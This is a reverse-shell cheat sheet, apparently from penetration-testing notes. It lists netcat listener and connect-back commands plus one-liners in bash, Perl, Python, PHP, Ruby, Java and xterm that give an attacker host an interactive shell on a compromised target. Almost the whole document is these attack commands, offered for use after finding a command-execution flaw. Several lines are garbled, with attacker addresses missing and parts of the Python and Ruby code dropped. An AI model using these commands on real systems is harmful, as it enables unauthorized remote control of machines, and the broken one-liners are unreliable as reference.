Reverse Shells

Reverse Shells with Netcat

# Execute this command on the attacking host
nc -lvnp [port]
# Execute this command on a Linux target host
nc [Attack box IP] [port] -e /bin/sh
# Execute this command on a Windows target host
nc.exe [Attack box IP] [port] -e cmd.exe

If you find a command execution vulnerability, the next step is to produce an interactive shell with a reverse shell.

The following commands are intended for Unix systems but can be run on Windows if the following substitution is made;

substitute “/bin/sh -i” with “cmd.exe”.


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


nc -e /bin/sh 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you ( on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorize the target to connect to you (command also run on your host):

xhost +targetip
